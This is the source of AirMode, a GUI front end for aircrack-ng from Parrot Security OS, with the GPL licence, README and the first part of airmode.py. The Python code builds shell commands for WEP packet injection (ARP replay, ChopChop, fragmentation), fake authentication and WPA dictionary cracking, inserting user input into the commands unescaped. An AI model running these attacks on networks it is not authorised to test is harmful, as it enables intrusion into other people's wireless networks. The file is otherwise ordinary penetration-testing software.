├── LICENSE
├── Makefile
├── README.md
├── airmode-banner.png
├── airmode-logo.png
├── airmode.py
├── airmode.ui
├── airmode.ui.h
├── airmode_0.4-parrot0_all.deb
├── airmode_0.4-parrot0_all
├── DEBIAN
│ └── control
└── usr
│ ├── bin
│ └── airmode
│ └── share
│ ├── airmode
│ ├── LICENSE
│ ├── Makefile
│ ├── README.md
│ ├── airmode-banner.png
│ ├── airmode-logo.png
│ ├── airmode.py
│ ├── airmode.ui
│ ├── airmode.ui.h
│ ├── airmode_config.py
│ ├── airmode_gui.py
│ └── parrot-airmode.desktop
│ ├── applications
│ └── parrot-airmode.desktop
│ ├── doc
│ └── airmode
│ │ ├── LICENSE
│ │ └── README.md
│ ├── icons
│ └── airmode-logo.png
│ └── parrot-menu
│ └── applications
│ └── parrot-airmode.desktop
├── airmode_config.py
├── airmode_gui.py
└── parrot-airmode.desktop
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | Compile:
2 | pyuic4 airmode.ui -o airmode_gui.py
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | airmode
2 | =======
3 |
4 | Welcome to AirMode
5 | Do you remember Gerix Wifi Cracker? We decided to fork and resume it in order
6 | to continue providing this fantastic software to everyone.
7 | AirMode is a GUI that can help you to use the Aircrack framework.
8 |
9 | Frozenbox Network (www.frozenbox.org)
10 | Parrot Security OS (www.parrotsec.org)
11 | The tool is under GPL 2 License.
12 | enJoy!
13 |
14 |
15 | AirMode Developers
16 | ==================
17 |
18 |
19 | Lisetta "Sheireen" Ferrero
20 | sheireen@frozenbox.org
21 | www.frozenbox.org
22 |
23 | Lorenzo "EclipseSpark" Faletra
24 | eclipse@frozenbox.org
25 | www.frozenbox.org
26 |
27 |
28 |
29 |
30 | Original Gerix Developers
31 | =========================
32 |
33 |
34 | Emanuele Gentili
35 | emgent@backtrack-linux.org
36 | Gerix.IT CSO and Partner
37 | http://www.gerix.it
38 |
39 | Emanuele Acri
40 | crossbower@backtrack-linux.org
41 | Gerix.IT Penetration Tester
42 | http://www.backtrack.it/~crossbower/
43 |
--------------------------------------------------------------------------------
/airmode-banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode-banner.png
--------------------------------------------------------------------------------
/airmode-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParrotSec/airmode/9230f46ddcc268125d9340031cc706d70efc598e/airmode-logo.png
--------------------------------------------------------------------------------
/airmode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import time
6 | import re
7 | import commands
8 | import glob
9 | import sqlite3
10 | import binascii
11 |
12 | from threading import Thread
13 | from PyQt4 import QtGui, QtCore
14 | from airmode_gui import Ui_Main_window
15 | #from PyQt4.QtGui import QApplication
16 | from PyQt4.QtGui import QMainWindow
17 | from airmode_config import *
18 |
19 | #
20 | # Hex key to ascii
21 | #
22 | def key_to_ascii(key):
23 | ascii_string = ''
24 |
25 | splitted = key.split(':')
26 |
27 | for i in splitted:
28 | if re.match("^[0-9A-Fa-f]{2}$", i):
29 | ascii_string = ascii_string + binascii.a2b_hex(i)
30 |
31 | return ascii_string
32 |
33 | #
34 | # Thread for the asyncronous execution
35 | # of commands
36 | #
37 | class Command_thread(Thread):
38 | def __init__ (self, command, use_term = True, callback = None):
39 | Thread.__init__(self)
40 | self.command = command
41 | self.use_term = use_term
42 | self.callback = callback
43 |
44 | def run(self):
45 |
46 | # exec command
47 | print (self.command)
48 |
49 | # use terminal emulator?
50 | if self.use_term:
51 | commands.getstatusoutput(def_term + " -e 'bash -c \"" + self.command + "; read; \"'")
52 |
53 | else:
54 | commands.getstatusoutput(self.command)
55 |
56 | # callback
57 | if hasattr(self.callback, '__call__'):
58 | self.callback()
59 |
60 | #
61 | # Retarded Kill
62 | #
63 | class RetardedKill(Thread):
64 | def __init__ (self, prog, sec):
65 | Thread.__init__(self)
66 | self.prog = prog
67 | self.sec = sec
68 |
69 | def run(self):
70 | time.sleep(self.sec)
71 | commands.getstatusoutput("killall " + self.prog)
72 |
73 | #
74 | # For the callbacks function
75 | # extend Main_window class (that contains the GUI)
76 | #
77 | class Main_window_ex(QMainWindow, Ui_Main_window):
78 | # Print the output in the GUI with a timestamp and with exit_code
79 | # this function should be used instead of other form of output printing
80 | #
81 | def __init__(self, parent = None):
82 | """
83 | Default Constructor. It can receive a top window as parent.
84 | """
85 | QMainWindow.__init__(self, parent)
86 | self.setupUi(self)
87 |
88 | def output(self, out_text, exit_code):
89 | # print the output in the text_output widget (QTextEdit)
90 | # success
91 | if exit_code==0:
92 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text + ' [Success]')
93 | # failure
94 | else:
95 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text + ' [Failure]')
96 |
97 | #
98 | # Print the output in the GUI with a timestamp but without exit_code
99 | # this function should be used instead of other form of output printing
100 | #
101 | def direct_output(self, out_text):
102 | # print the output in the text_output widget (QTextEdit)
103 | self.text_output.append( '' + time.strftime("%H:%M:%S", time.localtime()) + ' - ' + out_text)
104 |
105 | #
106 | # Check if the requested options are consistent
107 | #
108 | def check_options(self, options):
109 |
110 | if self.periferica_opt & options > 0:
111 | if self.periferica == "":
112 | self.output("no interface selected", 1)
113 | return 0
114 |
115 | if self.mymon_opt & options > 0:
116 | if self.mymon == "":
117 | self.output("monitor interface is not set", 1)
118 | return 0
119 |
120 | if self.mymac_opt & options > 0:
121 | if self.mymac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.mymac):
122 | self.output("interface mac is not set (or wrong)", 1)
123 | return 0
124 |
125 | if self.ac_opt & options > 0:
126 | if self.ac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac):
127 | self.output("no network selected", 1)
128 | return 0
129 |
130 | if self.canale_opt & options > 0:
131 | if self.canale == "" or self.canale < 0:
132 | self.output("no channel selected", 1)
133 | return 0
134 |
135 | if self.essid_opt & options > 0:
136 | if self.essid == "":
137 | self.output("no network selected", 1)
138 | return 0
139 |
140 | if self.mval_opt & options > 0:
141 | if self.mval == "" or self.mval < 1:
142 | self.output("wrong arp request number", 1)
143 | return 0
144 |
145 | if self.nval_opt & options > 0:
146 | if self.nval == "" or self.nval < 1:
147 | self.output("wrong arp request number", 1)
148 | return 0
149 |
150 | if self.ac_victim_opt & options > 0:
151 | if self.ac_victim == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac_victim):
152 | self.output("wrong victim mac", 1)
153 | return 0
154 |
155 | if self.ac_victim_wpa_opt & options > 0:
156 | if self.ac_victim_wpa == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.ac_victim_wpa):
157 | self.output("wrong victim mac", 1)
158 | return 0
159 |
160 | if self.deauth_WPA_num_opt & options > 0:
161 | if self.deauth_WPA_num == "" or self.deauth_WPA_num < 1:
162 | self.output("wrong deauth number", 1)
163 | return 0
164 |
165 | if self.dfile_opt & options > 0:
166 | if self.dfile == "":
167 | self.output("dictionary is not set", 1)
168 | return 0
169 |
170 | if self.dfile2_opt & options > 0:
171 | if self.dfile2 == "":
172 | self.output("dictionary is not set", 1)
173 | return 0
174 |
175 | if self.change_mac_int_opt & options > 0:
176 | if self.change_mac_int == "":
177 | self.output("interface name is not set", 1)
178 | return 0
179 |
180 | if self.change_mac_mac_opt & options > 0:
181 | if self.change_mac_mac == "" or not re.match("^[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}$", self.change_mac_mac):
182 | self.output("wrong mac address", 1)
183 | return 0
184 |
185 | if self.rtablesfile1_opt & options > 0:
186 | if self.rtablesfile1 == "":
187 | self.output("rainbow tables files is not set", 1)
188 | return 0
189 |
190 | if self.intf_mode_opt & options > 0:
191 | if self.intf_mode != 'Monitor':
192 | self.output("interface not in monitor mode", 1)
193 | return 0
194 |
195 | return 1
196 |
197 | #
198 | # Capture replay packets (ARP request)
199 | #
200 | def slot_wep_capture_req(self):
201 | if self.check_options(self.ac_opt | self.mval_opt | self.nval_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
202 | pass
203 | else:
204 | command = 'aireplay-ng -2 -p 0841 -b ' + self.ac + ' -c FF:FF:FF:FF:FF:FF -f 1 -m ' + self.mval + ' -n ' + self.nval + ' -h ' + self.mymac + ' ' + self.mymon
205 | #command = 'aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
206 | ct = Command_thread(command)
207 | ct.start()
208 |
209 | self.direct_output('ARP request attack: Capture replay packets with ' + self.mymon)
210 |
211 |
212 | #
213 | # Crack WPA password dictionary
214 | #
215 | def slot_crack_wpa_aircrack(self):
216 | if self.check_options(self.ac_opt | self.dfile_opt) == 0:
217 | pass
218 | else:
219 | command = 'aircrack-ng -w ' + self.dfile + ' -b ' + self.ac + ' ' + config_dir + '*.cap | tee ' + config_dir + 'aircrack-log.txt'
220 | ct = Command_thread(command, True, self.add_key_to_database)
221 | ct.start()
222 |
223 | self.direct_output("Cracking WPA password with dictionary launched (remember to save database's changes)")
224 |
225 |
226 | #
227 | # Crack WPA password pyrit
228 | #
229 | def slot_crack_wpa_pyrit(self):
230 | if self.check_options(self.essid_opt | self.dfile2_opt) == 0:
231 | pass
232 | else:
233 | command = 'pyrit -e "' + self.essid + '" -i "' + self.dfile2 + '" -r "' + config_dir + '*.cap" attack_passthrough'
234 | ct = Command_thread(command)
235 | ct.start()
236 |
237 | self.direct_output('Cracking WPA password with pyrit launched')
238 |
239 | #
240 | # Restore original MAC Address
241 | #
242 | def slot_mac_restore(self):
243 | if self.check_options(self.change_mac_int_opt) == 0:
244 | pass
245 | else:
246 | command = 'ifconfig ' + self.change_mac_int + ' down hw ether `cat ' + config_dir + '.macaddress-backup`; ifconfig ' + self.change_mac_int + ' up'
247 | ct = Command_thread(command, False)
248 | ct.start()
249 |
250 | self.direct_output('Restored original MAC address on interface ' + self.change_mac_int)
251 |
252 | #
253 | # Put the card in monitor mode
254 | #
255 | def slot_monitor(self):
256 |
257 | if self.check_options(self.periferica_opt) == 0:
258 | pass
259 |
260 | elif self.intf_mode == "Monitor":
261 | status = commands.getstatusoutput('airmon-ng stop ' + self.periferica)
262 | if status[0] != 0:
263 | self.output(status[1], status[0])
264 | else:
265 | self.output("Monitor off: " + self.periferica, status[0])
266 | else:
267 | status = commands.getstatusoutput('airmon-ng check kill && echo y | airmon-ng start ' + self.periferica)
268 | if status[0] != 0:
269 | self.output(status[1], status[0])
270 | else:
271 | self.output("Monitor on: " + self.periferica, status[0])
272 | self.slot_reload_interfaces()
273 |
274 | #
275 | # Start Client Fragmentation Attack
276 | #
277 | def slot_wep_arp_inj_cfrag(self):
278 | if self.check_options(self.mymon_opt | self.intf_mode_opt | self.ac_victim_opt) == 0:
279 | pass
280 | else:
281 | command = 'aireplay-ng -7 -c ' + self.ac_victim + ' ' + self.mymon
282 | ct = Command_thread(command)
283 | ct.start()
284 |
285 | self.direct_output('Client Fragmentation attack started, using ' + self.mymon)
286 |
287 | #
288 | # Forged packet injection on the victim access point (ChopChop)
289 | #
290 | def slot_wep_arp_inj_chop(self):
291 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
292 | pass
293 | else:
294 | command = 'aireplay-ng -2 -r ' + config_dir + 'output_FORGED ' + self.mymon
295 | ct = Command_thread(command)
296 | ct.start()
297 |
298 | self.direct_output('ChopChop attack: Inject arp packet with ' + self.mymon)
299 |
300 | #
301 | # Forged packet injection on the victim access point (Fragmentation)
302 | #
303 | def slot_wep_arp_inj_frag(self):
304 | if self.check_options(self.mymon_opt | self.intf_mode_opt) == 0:
305 | pass
306 | else:
307 | command = 'aireplay-ng -2 -r ' + config_dir + 'output_FORGED2 ' + self.mymon
308 | ct = Command_thread(command)
309 | ct.start()
310 |
311 | self.direct_output('Fragmentation attack: Inject arp packet with ' + self.mymon)
312 |
313 | #
314 | # Associate with AP, use fake auth
315 | #
316 | def slot_fake_auth(self):
317 | if self.check_options(self.essid_opt | self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
318 | pass
319 | else:
320 | command = 'aireplay-ng -1 0 -e "' + self.essid + '" -a ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
321 | ct = Command_thread(command, False)
322 | ct.start()
323 |
324 | self.direct_output('Fake authentication with ' + self.mymon)
325 |
326 | #
327 | # Create the ARP packet to be injected on the victim access point (ChopChop)
328 | #
329 | def slot_wep_create_arp_chop(self):
330 | if self.check_options(self.ac_opt | self.mymac_opt) == 0:
331 | pass
332 | else:
333 | command = 'packetforge-ng -0 -a ' + self.ac + ' -h ' + self.mymac + ' -k 255.255.255.255 -l 255.255.255.255 -y ' + config_dir + '*.xor -w ' + config_dir + 'output_FORGED '
334 | ct = Command_thread(command, False)
335 | ct.start()
336 |
337 | self.direct_output('ChopChop attack: ARP packet created')
338 |
339 | #
340 | # Create the ARP packet to be injected on the victim self.access point (Fragmentation)
341 | #
342 | def slot_wep_create_arp_frag(self):
343 | if self.check_options(self.ac_opt | self.mymac_opt) == 0:
344 | pass
345 | else:
346 | command = 'packetforge-ng -0 -a ' + self.ac + ' -h ' + self.mymac + ' -k 255.255.255.255 -l 255.255.255.255 -y ' + config_dir + '*.xor -w ' + config_dir + 'output_FORGED2'
347 | ct = Command_thread(command, False)
348 | ct.start()
349 |
350 | self.direct_output('Fragmentation attack: ARP packet created')
351 |
352 | #
353 | # Start ChopChop attack
354 | #
355 | def slot_wep_start_chop(self):
356 | if self.check_options(self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
357 | pass
358 | else:
359 | command = 'aireplay-ng -4 -h ' + self.mymac + ' ' + self.mymon
360 | ct = Command_thread(command)
361 | ct.start()
362 |
363 | self.direct_output('ChopChop attack started, using ' + self.mymon)
364 |
365 | #
366 | # Start Fragmentation Attack
367 | #
368 | def slot_wep_start_frag(self):
369 | if self.check_options(self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
370 | pass
371 | else:
372 | command = 'aireplay-ng -5 -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
373 | ct = Command_thread(command)
374 | ct.start()
375 |
376 | self.direct_output('Fragmentation attack started, using ' + self.mymon)
377 |
378 | #
379 | # Start ARP replay Attack
380 | #
381 | def slot_wep_start_rep(self):
382 | if self.check_options(self.ac_opt | self.mymon_opt | self.mymac_opt | self.intf_mode_opt) == 0:
383 | pass
384 | else:
385 | command = 'aireplay-ng -3 -b ' + self.ac + ' -h ' + self.mymac + ' ' + self.mymon
386 | ct = Command_thread(command)
387 | ct.start()
388 |
389 | self.direct_output('ARP replay attack started, using ' + self.mymon)
390 |
391 | #
392 | # Start sniffing and logging
393 | #
394 | def slot_start_sniffing(self):
395 | dump_file = config_dir + 'sniff_dump'
396 |
397 | if self.check_options(self.canale_opt | self.ac_opt | self.mymon_opt | self.intf_mode_opt) == 0:
398 | pass
399 | else:
400 | command = 'airodump-ng -c ' + self.canale + ' -w ' + dump_file + ' --bssid ' + self.ac + ' ' + self.mymon
401 | ct = Command_thread(command)
402 | ct.start()
403 |
